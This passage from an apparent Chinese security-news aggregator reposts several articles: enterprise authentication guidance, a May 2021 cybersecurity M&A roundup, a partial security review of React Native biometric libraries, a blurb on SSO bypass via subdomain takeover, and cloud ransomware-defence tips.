安全的密码,用户应该会发现更容易实施。证书这些是包含私钥和签名公钥的长期凭证。需要访问私钥才能对其他服务进行身份验证,并可用于对设备或服务的用户进行身份验证。应保护私钥免受恶意软件的访问(通过沙盒或其他访问控制机制,包括将其标记为不可导出)。私钥也应该通过设备的静态数据加密来防止硬件提取,或者如果不能以其他方式保护,则使用强加密密码。有关如何管理证书和将证书部署到设备以及管理您的 PKI 基础设施的更多指导,请参阅我们关于 设计和构建私有托管公钥基础设施的内容。FIDO 2 验证器FIDO2 是一套标准,它使用公钥凭据和协议提供加密身份验证,以提供更安全的密码替代方法来访问在线服务。它还降低了许多与密码相关的安全风险,包括网络钓鱼、凭据盗窃和重放攻击。FIDO2 身份验证器可以是智能手机、硬件安全密钥或 PC 或笔记本电脑上的可信平台模块 (TPM)。身份验证器可以使用本地 PIN 或生物识别技术支持用户到设备的验证。这意味着只有在用户验证首先成功的情况下才能访问存储的密钥以对在线服务进行身份验证。一些身份验证器使用硬件保护的加密存储和反锤子进一步保护存储的密钥,以防止对本地用户验证的暴力攻击。Windows Hello 和运行Android 7+ 的设备  是 FIDO2 认证平台身份验证器的示例。还有越来越多的支持 FIDO2 的硬件安全密钥生态系统,例如 Yubikeys 或 Google Titan 密钥。例如,在企业场景中,  Windows Hello 企业版 已经使用了 FIDO2。它需要使用 PIN 或生物识别(您知道/是的东西)进行用户到设备的身份验证,这允许访问基于公钥的凭据,绑定到设备的 TPM(您拥有的东西)。这允许用户对 Windows Active Directory 或 Azure Active Directory 进行身份验证,并获得对企业服务的访问权限。 Google 帐户 现在还支持 外部安全密钥和 Android 设备上的内置身份验证器,作为对 Google 帐户进行身份验证时的第二个因素。服务的单因素与多因素身份验证任何身份验证机制的安全性都取决于所选的具体实施和因素组合。在某些情况下,使用单个因素可能是合适的。例如,在用户到设备身份验证的情况下,在考虑到诸如暴力保护或硬件保护存储等缓解措施时,使用单一因素对设备进行身份验证可能就足够了,这些措施可在当今许多设备上使用。但是,对于服务级别身份验证,在单个身份验证因素 无法 提供适当安全级别的情况下, 多因素身份验证 (MFA) 可以显着增强安全性。内置设备身份验证机制可以扩展为直接与您选择的身份提供商集成,以 使用绑定到设备的基于公钥的凭据提供无 密码 和 多因素身份验证,通常可以提供可用性和安全性的最佳平衡。Windows Hello 企业版就是一个很好的例子 。在用户拥有不止一台设备的情况下,使用 FIDO2 安全密钥可能会提供类似的好处。但是,您需要在设备上并与您的身份提供者一起调查对此的支持。某些企业身份验证服务还可以与移动设备管理 (MDM)集成 ,以在授予对企业服务的访问权限之前 考虑环境因素,例如 网络位置、 设备合规性和 设备健康证明。这种类型的 条件访问 在零信任网络架构 或 自带设备 (BYOD) 场景中非常有用 。单点登录服务企业单点登录可用于使用通过您选择的身份提供商管理的单一身份源登录在线服务。这可以通过减少需要进行身份验证的次数和减少对密码的依赖来显着改善用户体验。它还使管理加入者、移动者和离开者变得更加简单且不易出错。记录和监控除了身份验证机制外, 还应设置适当的日志记录, 以监控身份验证以及对设备和服务的访问。对身份验证系统的攻击是您将面临的最普遍的攻击之一,因此将这些事件捕获到您的审计日志中是一种检测潜在问题的高效方法。如何有效地进行身份验证在设计和实施企业身份验证时,您应该:选择支持对用户和组织使用的设备进行多重身份验证的企业身份提供商。使用您的身份提供者配置您的在线服务以使用单点登录身份验证。根据上述注意事项选择可最大限度提高可用性并提供适当安全性的身份验证因素,并确保在选择在组织中使用的设备时所使用的设备支持这些因素。为用户提供明确的认证政策和指导。实施实用的用户到设备身份验证策略,包括使用生物识别和可用密码策略。在可能的情况下,减少对密码的依赖并实施无密码身份验证,例如Windows Hello。在访问服务需要密码的情况下,鼓励使用密码管理器。对于机器身份验证,部署使用基于硬件保护的公钥的唯一绑定到设备的凭据的机制。在可能的情况下,考虑将其与其他上下文相结合(例如,在 Windows 上,您可以使用网络位置、设备合规性和设备健康证明)。这在零信任网络指南中有更多讨论。部署企业单点登录以访问服务。将此与强大的用户和设备身份验证相结合,使用多因素身份验证或条件访问。对身份验证成功和失败实施适当的日志记录和监控。 原文始发于微信公众号(河南等级保护测评):设备安全指南-企业认证政策
阅读全文
2021年5月份值得关注的35笔网络安全并购案 安全新闻

2021年5月份值得关注的35笔网络安全并购案

2021年5月,美国网络安全市场的并购热度持续上升,发生了36例(4月份为31例)网络安全并购,涉及Imperva、埃森哲、思科、HelpSystems、Splunk、Twilio和Zscaler等公司,热点领域包括:身份验证、SASE、威胁情报、漏洞管理、主动防御/欺骗技术、云安全、移动安全等,值得注意的是本月收购案中包含一例量子加密技术收购。5月1-9日Acuant收购Hello Soda身份验证和欺诈预防公司Acuant收购了英国的身份验证和KYC解决方案提供商Hello Soda。Acuant表示,此次收购将有助于其改进产品并加强其在数字身份市场中的地位。Aryaka收购SecucloudWAN和SASE解决方案提供商Aryaka宣布已完成对总部位于德国的Secucloud的收购,后者已开发了SASE平台。Aryaka表示,该交易将能够为企业客户提供更好的托管SD-WAN和SASE解决方案。Ascend Technologies收购Switchfast TechnologiesIT解决方案提供商Ascend Technologies宣布收购专门从事定制IT服务的Switchfast Technologies。两家公司都提供网络安全服务,而Ascend表示,这笔交易将使其能够提供更先进的服务和解决方案组合,包括网络监控和网络安全评估。Databarracks收购4sl业务连续性和灾难恢复解决方案提供商Databarracks购买了4sl,后者专门为受监管部门的公司提供托管数据恢复和备份服务。两家公司都位于英国。EPAM Systems收购White-Hat美国企业软件开发公司EPAM Systems收购了以色列网络安全服务公司White-Hat。EPAM表示,此次收购的目标是扩大其网络安全专业知识组合,并使EMEA交付能力多样化。Forcepoint收购Cyber inc基于行为的网络安全解决方案提供商Forcepoint收购了Cyberinc,这是一家专门从事远程浏览器隔离技术的公司,旨在帮助组织降低风险和攻击面。Forcepoint将使用获得的技术改进其SASE平台。Gimmal收购Sherpa Software信息治理解决方案提供商Gimmal收购了专门为企业提供数据治理和电子发现解决方案的Sherpa Software。Sherpa已并入Gimmal,其技术将帮助该公司扩展其电子发现和数据治理能力。Intermediate Capital Group(ICG)收购6point6的少数股权总部位于英国的全球另类资产管理公司ICG收购了英国网络安全和其他IT服务提供商6point6的少数股权。交易条款尚未公开,但6point6交易估值为1亿美元。Imperva收购CloudVector网络安全公司Imperva收购了API安全公司CloudVector。Imperva表示,此次收购将使其能够改进其API安全解决方案。Infobip收购Anam Technologies克罗地亚的IT和电信公司Infobip收购了基于Irelend的Anam Technologies,该公司以其SMS防火墙服务而闻名。Infobip希望为移动运营商提供“高水平的安全性和消息保护”。Kordia收购Base2国有通信和网络安全公司Kordia收购了Base2,后者提供托管IT、网络和网络安全解决方案。两家公司都位于新西兰。Base2将作为Kordia的一个独立业务部门运营。LiveAction收购CounterFlow AI网络性能管理公司LiveAction收购了CounterFlow AI,后者提供网络检测和响应解决方案。LiveAction表示,这笔交易将使其能够提供“一个统一的网络性能监控和诊断(NPMD)平台,该平台结合了用于安全事件检测和响应的加密流量分析。”OneTrust收购共享评估安全与合规解决方案提供商OneTrust收购了第三方风险管理公司Shared Assessments。目标是使共享评估能够进一步扩大标准化信息收集问卷(SIG)的可用性和采用率,SIG是使用最广泛的第三方风险标准之一,被15,000多家公司使用。Shared Assessments仍将是一个独立于供应商的行业组织。RIA in a Box收购ITEGRIA合规、网络安全和运营软件解决方案提供商RIA in a Box收购了ITEGRIA,后者为注册投资顾问(RIA)提供基于云的虚拟桌面解决方案。RIA in a Box表示,该交易将帮助增强其为RIA公司提供的网络安全和运营服务。Sectigo收购SiteLock数字证书管理和网络安全公司Sectigo收购了网站安全和监控提供商SiteLock。此次收购还包括SiteLock于2017年收购的荷兰网络安全提供商Patchman。收购后,SiteLock将作为Sectigo的一个独立业务部门运营。SGS收购Brightsight瑞士检查、验证、测试和认证公司SGS收购了Brightsight,这是一个荷兰的网络安全评估实验室网络,用于基于芯片的支付系统,身份解决方案和IoT平台。SGS表示,该交易是其“成为网络安全领域的全球TIC领导者”战略的一部分。5月10日至16日Absolute Software收购NetMotion端点安全和数据风险管理公司Absolute Software宣布达成协议,以3.4亿美元现金收购专门从事安全访问解决方案的公司NetMotion。此次收购将有助于Absolute扩大其产品供应和销售渠道。埃森哲收购Linkbynet咨询巨头埃森哲宣布收购Linkbynet,这是一家总部位于法国的云服务提供商,提供云优化、转型和安全服务。埃森哲表示,这笔交易将帮助其增强其Cloud First解决方案的能力。Centricus Acquisition Corp.与Arqit Limited合并量子加密技术公司Arqit Limited正在与公开交易的特殊目的收购公司Centricus Acquisition Corp.合并。Arqit开发了加密技术,可以保护通信免受任何类型的攻击,包括涉及量子计算机的攻击。交易完成后,Arqit将成为一家上市公司。思科收购Kenna Security网络巨头思科正在收购Kenna Security,这是一家专注于漏洞管理技术的网络安全公司。思科表示,与所有主要漏洞评估平台集成的Kenna技术将被集成到其SecureX平台中。CWSI收购AVR International总部位于爱尔兰的移动和云安全公司CWSI正在收购总部位于英国的网络和云安全服务提供商AVR International,这笔交易对AVR的估值高达520万欧元(630万美元)。CWSI表示,此次收购将有助于加速其在英国的增长。HelpSystems收购Agari和Beyond Security网络安全和自动化解决方案提供商HelpSystems在5月宣布了两项收购:电子邮件安全公司Agari和漏洞评估和合规解决方案公司Beyond Security。目标是增强HelpSystems的数据安全和基础设施保护组合。Fidelis Cybersecurity收购CloudPassage扩展检测和响应(XDR)提供商Fidelis Cybersecurity宣布收购云安全和合规性公司CloudPassage,以增强其主动XDR平台。Jamf收购Wandera苹果设备企业管理解决方案提供商Jamf以4亿美元现金收购了专门从事移动设备零信任云安全和访问的Wandera。Jamf表示,此次收购将帮助其扩展其移动安全和访问能力。NCC集团收购Iron Mountain的IPM业务英国网络安全公司NCC Group以2.2亿美元收购美国存储和信息管理服务公司Iron Mountain的知识产权管理(IPM)业务。Iron Mountain表示决定出售其IPM业务以“专注于其核心优势”。secunet收购了stashcat网络安全解决方案提供商secunet Security Networks正在收购stashcat,后者提供包含文件存储和视频会议功能的企业通信应用程序。两家公司都位于德国。Secunet表示,此次收购使其能够扩大其产品范围。5月17-31日Belcan收购VICTOR42Belcan是AE Industrial Partners旗下的公司,为航空航天、国防、汽车、政府和工业部门提供工程、咨询和技术服务,宣布收购VICTOR42,这是一家为政府和私营部门提供技术、情报和网络安全解决方案的公司部门组织Belcan表示,这笔交易将有助于其扩大产品范围。Crossword Cybersecurity收购Verifiable Credentials Limited网络安全和风险管理公司Crossword Cybersecurity宣布收Verifiable Credentials Limited(VCL),该公司已开发了可验证凭据系统的中间件技术。两家公司都位于英国。Crossword已收购VCL以扩大规模,并将为该公司支付275万英镑(390万美元)。Gryphon Investors收购Iceberg Networks私募股权公司Gryphon Investors于5月宣布收购三家公司,包括Iceberg Networks,该公司提供安全运营管理和治理、风险和合规性以及集成风险管理解决方案。Intuity Technologies与myITdepartment合并托管IT服务提供商Intuity Technologies宣布与托管服务提供商myITdepartment合并。这两家公司均位于爱尔兰,将为中小企业提供广泛的服务,包括网络安全。Nuvias集团收购Cloud Distribution安全、敏捷性和可管理性服务提供商Nuvias Group正在收购Cloud Distribution,后者提供网络安全、网络和SaaS解决方案。两家公司都位于英国。此次收购是Nuvias集团扩张战略的一部分。Relativity获得Text IQ法律和合规技术公司Relativity正在收购Text IQ,该公司使用人工智能来管理和降低企业数据中的风险。Relativity表示,这笔交易使其能够扩大其产品供应。Twilio收购Ionic Security客户参与解决方案提供商Twilio正在收购数据安全平台Ionic Security。Twilion表示,此次收购有助于解决安全和合规挑战。Ionic的技术将集成到Twilio产品中,不再作为独立平台提供。Splunk收购TruSTAR机器数据解决方案公司Splunk正在收购TruSTAR,一家提供威胁情报平台的公司Splunk表示,此次收购将有助于扩展其安全分析能力。Zscaler收购Smokescreen云安全公司Zscaler正在收购主动防御和欺骗技术公司Smokescreen。目标是使用Smokescreen技术来增强Zscaler的零信任交换产品,并为Zscaler团队提供威胁情报和遥测。 本文始发于微信公众号(信息安全国家工程研究中心):2021年5月份值得关注的35笔网络安全并购案
阅读全文
对React Native 生物识别库的安全性分析研究 云安全

对React Native 生物识别库的安全性分析研究

0x01 基础概述许多应用程序要求用户在访问任何内容之前先在应用程序内部进行身份验证。根据其中包含的信息的敏感性,应用程序通常有两种方法:· 用户进行一次身份验证,然后保持身份验证,直到他们手动注销为止;· 用户保持登录状态的时间不会太长,并且在一段时间不活动后必须重新进行身份验证。第一种策略虽然对用户非常方便,但显然不是很安全。第二种方法相当安全,但是对用户来说却是一个负担,因为他们每次都必须输入其凭据。实施生物特征认证可以减轻这种负担,因为认证方法对用户而言变得相当容易和快速。开发人员通常不会从头开始编写与操作系统的集成,而通常会使用框架或第三方提供的库。当使用跨平台的移动应用程序框架(例如Flutter,Xamarin或React Native)时,尤其如此,其中需要在特定于平台的代码中实现此类集成。由于身份验证是一项对安全性至关重要的功能,因此重要的是验证这些第三方库是否已安全地实现了所需的功能。在此博客文章中,我们将首先看一下生物特征认证的基本概念,以便我们随后可以研究提供生物特征认证支持的多个React Native库的安全性。我们分析了五个提供生物特征认证的React Native库。对于这些库中的每一个,我们分析了生物识别认证的实现方式以及它是否正确使用操作系统提供的加密原语来保护敏感数据。我们的分析表明,五个分析的库中只有一个提供了基于结果的安全生物特征认证。其他库仅提供基于事件的身份验证,这是不安全的,因为仅对生物特征认证进行验证,而实际上并未以密码方式保护任何数据。下表总结了每个分析库提供的生物特征认证类型:0x02 生物特征识别生物特征认证允许用户使用其生物特征数据(指纹或面部识别)对应用进行认证。通常,可以通过两种不同的方式来实现生物特征认证:· 基于事件:生物统计API仅将身份验证尝试的结果返回给应用程序(“成功”或“失败”),这种方法被认为是不安全的;· 基于结果:身份验证成功后,生物统计API会检索一些加密对象(例如解密密钥)并将其返回给应用程序。失败时,不会返回任何加密对象。基于事件的身份验证是不安全的,因为它仅包含返回的布尔值(或类似值)。因此,可以使用代码工具(例如Frida)通过修改返回值或手动触发成功流程来绕过它。如果实现是基于事件的,则还意味着敏感信息以不安全的方式存储在某处:在应用程序从生物识别API接收到“成功”之后,它仍将需要使用一些身份验证向后端进行用户身份验证。一种凭证,将从本地存储中检索,无需解密密钥即可完成此操作,否则,实现将不是基于事件的,这意味着凭据无需适当加密即可存储在本地存储中的某个位置。另一方面,良好的基于结果的生物特征认证将无法通过Frida之类的工具来绕过。要实现基于结果的安全生物特征认证,应用程序必须使用硬件支持的生物特征API。存储凭证尽管我们在此文章中使用“凭证”一词,但我们并不主张存储用户的凭证(即用户名和密码)。无论用户的凭据存储方式如何,将其存储在设备上对于高安全性应用程序从来都不是一个好主意。相反,上述“凭证”应该是专用于生物认证的凭证(例如高熵字符串),这些凭证是在生物认证的激活期间生成的。要在Android上实施基于结果的安全生物身份验证,必须生成需要用户身份验证的加密密钥。这可以通过使用setUserAuthenticationRequired生成密钥时的方法来实现。每当应用程序尝试访问密钥时,Android将确保提供有效的生物识别信息。然后必须使用密钥来执行加密操作,从而解锁凭据,然后可以将凭据发送到后端。这是通过向CryptoObject生物识别API提供以上一个密钥开头的来完成的。例如,BiometricPrompt类提供了一个authenticate方法,该方法采用CryptoObject作为一个论点。然后,可以通过result参数在成功回调方法中获得对该键的引用。可以在f-secure的这篇非常不错的博客文章中找到有关在Android上实现安全生物特征认证的更多信息。https://labs.f-secure.com/blog/how-secure-is-your-android-keystore-authentication/在iOS上,必须生成一个加密密钥并将其存储在key串中。key串中的条目必须设置有访问控制标志biometryAny。然后必须使用密钥执行加密操作,以解锁可发送到后端的凭据。通过向key串查询受密钥保护的biometryAnyiOS,iOS将确保用户使用其生物识别数据解锁所需的key。或者,我们可以将凭据本身直接存储在biometryAny保护下,而不是将密码密钥存储在“key串”中。指纹认证Android和iOS允许你信任“设备上已注册的所有指纹”或“设备上当前已注册的所有指纹”。在后一种情况下,如果添加或删除了指纹,则加密对象将无法使用。对于Android,默认值为“所有指纹”,而在将指纹添加到设备的情况下,你可以使用setInvalidatedByBiometricEnrollment删除CryptoObject。对于iOS,可以在biometryAny和biometryCurrentSet之间进行选择。虽然“当前已注册”选项是最安全的,但在本文中,我们不会对这种区别给予重视。基于事件的身份验证真的不安全吗?是的。这完全取决于你的移动应用程序的威胁模型。应用程序提供基于结果的身份验证的要求是OWASP MASVS(MSTG-AUTH-8)中的2级要求。级别2表示你的应用程序正在处理敏感信息,通常用于金融,医疗或政府部门的应用程序。OWASP MASVS验证级别如果你的应用程序使用基于事件的生物特征认证,则将发生特定的攻击,这些攻击将使用户的凭据可供攻击者使用:· 使用取证软件进行物理提取· 从备份文件中提取数据(例如iTunes备份或adb备份)· 具有root权限访问设备的恶意软件最后一个示例也将能够攻击使用基于结果的生物特征认证的应用程序,因为有可能在凭据已在内存中解密后立即注入到应用程序中,但这种攻击的门槛比只需复制应用程序的本地存储。0x03 React Native 框架React Native是Facebook创建的开源移动应用程序框架。该框架建立在ReactJS之上,允许使用JavaScript进行跨平台的移动应用程序开发。这使开发人员可以使用HTML,CSS和JavaScript一次在不同平台上开发移动应用程序。在过去的几年中,它已经获得了很大的吸引力,现在被许多开发人员使用。虽然是跨平台框架,但某些功能仍需要在本机Android(Java或Kotlin)或iOS(Objective-C或Swift)中进行开发。为了摆脱这种需求,许多库已经开始关注平台特定的代码并提供可直接在React Native中使用的JavaScript API。生物特征认证是一种这样的功能,仍然需要实现平台特定的代码。因此,已经创建了许多库,以减轻开发人员必须在不同平台上分别实现它们的负担。0x04 React Native 生物特征识别库在本节中,我们将研究五个库,它们为React Native应用程序提供生物特征认证。我们将不仅检查文档,还检查源代码以验证实现是否安全。根据Google在“生物特征API react native”方面的最佳结果,我们选择了以下库:· react-native-touch-id· expo-local-authentication· react-native-fingerprint-scanner· react-native-fingerprint-android· react-native-biometrics对于每个库,在撰写此文章时,我们已链接到最新的提交,如果要使用它们,请使用最新版本的库。React-native-touch-idGitHub:https : //github.com/naoufal/react-native-touch-id/该库不再由其开发人员维护,因此无论我们的分析结论如何,都不应再使用该库。在自述文件中,我们已经可以找到一些信息,表明该库不支持基于结果的生物特征认证。文档中给出的示例代码包含以下代码行:TouchID.authenticate('to demo this react-native component', optionalConfigObject)    .then(success => {        AlertIOS.alert('Authenticated Successfully');    })    .catch(error => {        AlertIOS.alert('Authentication Failed');    });在上面的示例中,很明显,它是基于事件的生物统计身份验证,因为成功方法不会验证身份验证的状态,也不会为开发人员提供验证方法。注意到optionalConfigObject参数,该参数很可能包含将在基于结果的身份验证中使用的数据,不幸的是,事实并非如此。如果我们在文档中进一步了解,则会发现以下内容:authenticate(reason, config)Attempts to authenticate with Face ID/Touch ID. Returns a Promise object.Arguments    - reason - An optional String that provides a clear reason for requesting authentication.    - config - optional - Android only (does nothing on iOS) - an object that specifies the title...
阅读全文
【FreeBuf字幕组】简话安全系列:SSO身份验证机制绕过 安全文章

【FreeBuf字幕组】简话安全系列:SSO身份验证机制绕过

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。内容介绍简话安全系列,以浅显易懂的理论术语阐述各种安全漏洞和隐患问题,让你对现实中可能遇到的安全问题有快速的了解和精准的认识。我们通过了解子域名劫持方式窃取用户Cookie信息,以此实现SSO身份验证机制的绕过。课程中简单地对子域名劫持做了相应解释,然后概要介绍了利用其进行用户Cookie信息窃取。观看视频*本课程翻译自Youtube精选系列教程,喜欢的点一波关注(每周更新)!精彩推荐 本文始发于微信公众号(FreeBuf):【FreeBuf字幕组】简话安全系列:SSO身份验证机制绕过
阅读全文
如何保护企业云免受勒索软件攻击? 云安全

如何保护企业云免受勒索软件攻击?

点击上方蓝字可以订阅哦转载:freebuf.com恶意勒索软件加密受害者的文件,要求受害者支付比特币赎金才能赎回,在网上这种现象已经成为一种越来越普遍、越来越强的威胁。但是,许多人并不知道勒索软件也可以很容易地夺取存储在云端数据的控制权,那些使用云服务的企业也同样面临着巨大的风险。以下总结的安全防范措施,将有助于保障你的企业云免受勒索软件攻击威胁:一. 身份管理如果恶意攻击者可以使用你的登录凭证访问你的系统,那你就完蛋了!1. 安全密码:建立需要复杂密码的策略(至少12个字符,包含大小写字母和数字。)2. 采用多因素身份验证:如今,拥有强密码是远远不够的,你还需要多层防护。使用多因素身份验证法可以为你的登录凭证提供多一层安全保护。3. 最小特权原则:最小特权原则是系统安全中最基本的原则之一,它限制了使用者对系统及数据进行存取所需要的最小权限,既保证了用户能够完成所操作的业务,同时也确保非法用户或异常操作所造成的损失最小。4. 禁用死亡账号:当员工离开组织时,一定要记得禁用其对所有系统的访问权限,并立即禁用他们的访问键。死亡账号会留下许多无法监测的端点,留下祸端。二. 保护计算层采取措施保护你的计算层,以确保系统和数据的可用性,同时防止恶意攻击者利用你的计算能力进一步在你的业务系统和互联网上传播恶意软件。5. 加固操作系统:尽早删除一些不必要的程序,因为它只会扩大你的攻击面。尽可能地保持最新的服务包和更新程序。虽然它不能确保你一定不会受到零日漏洞的攻击,但是可以尽可能地降低这种可能性。6. 启用安全登录(向个人发送SSH密钥):在不安全的网络上进行操作时,这一步骤将有助于保护你的资产和数据安全。7. 选择VPN(网络):通过创建一个安全通道或使用VPN可以保护设备和网络之间的连接。你也可以根据自己企业的安全需求为不同的应用环境选择不同的网络模式。8. 使用jump host:jump host位于不同的安全区域,并提供访问系统中其他服务器或主机的唯一方法。你的其他云资产安全组件应该设置为“仅允许从jump host访问SSH”。这个一个附加的步骤,可以帮助你的系统远离黑客侵扰。9. 管理程序防火墙规则:管理防火墙最有效的方法在于管理程序层,因为你可以对入口和出口流量设定限制。注意一定要明确的设置限制内容、多少以及谁可以发送、接收和访问入口和出口数据。很多人不愿意制定出口规则,但是由于勒索软件经常会使你的知识产权面临泄漏风险,因此确保具备明确的出口规则非常重要。10. 只使用可信的图像:从头开始构建你的图像或模版,或者从非常受信任的来源(如AWS或Microsoft)获取图像或模板。不要随便使用您在Stackoverflow或随机留言板以及社区找到的那些图像或模版。三. 保护你的存储空间如果说数据是新的能源,那么你需要保护自己的宝贵资源,以确保你的业务在未来几年里依然能顺利开展。如果攻击者访问了你的存储层,那么你的整个数据桶(bucket)或数据块(blob)都存在被删除或暴露的危险。11. 管理数据访问:身份识别与访问管理(IAM)策略和访问控制列表可以帮助你将权限控制集中到存储层。Bucket 策略允许你通过账户、用户或基于特定条件(如日期、IP地址或是否使用SSL发送的请求)来启用或拒绝权限。12. 加密,加密,加密,重要的事说三遍:在传输和静态状态下都要对你的数据进行加密。需要注意的是,元数据通常不加密,所以请确保不要将敏感信息存储在你的云存储元数据中。13. 版本控制/日志记录:日志记录允许你在发现问题时保留、检索和恢复数据。打开日志记录后,如果是安全威胁或应用程序故障导致的数据丢失,你都可以随时从较旧版本数据中将其恢复。此外日志记录还可以提供审计跟踪(系统活动的流水记录)功能,以防有人入侵你的系统。14. 无删除权限或使用MFA进行删除:你可以在云基础架构中设置相关角色,而不是允许所有用户都能够删除任何数据。在大多数云存储解决方案中,你可以启用相关功能,要求获取包含6位数代码和序列号的MFA令牌,以删除存储在存储层中的任何版本的数据。这就意味着,即使攻击者获得访问权限也无法删除你的数据,除非他们拥有你的MFA密钥。 本文始发于微信公众号(零组攻防实验室):如何保护企业云免受勒索软件攻击?
阅读全文